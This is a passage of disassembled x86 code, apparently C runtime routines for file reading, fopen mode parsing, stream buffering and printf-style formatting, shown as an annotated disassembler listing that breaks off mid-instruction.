; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F1E4 nop call near ptr 2690CE2h push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F285 nop call near ptr 2690CE2h test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub 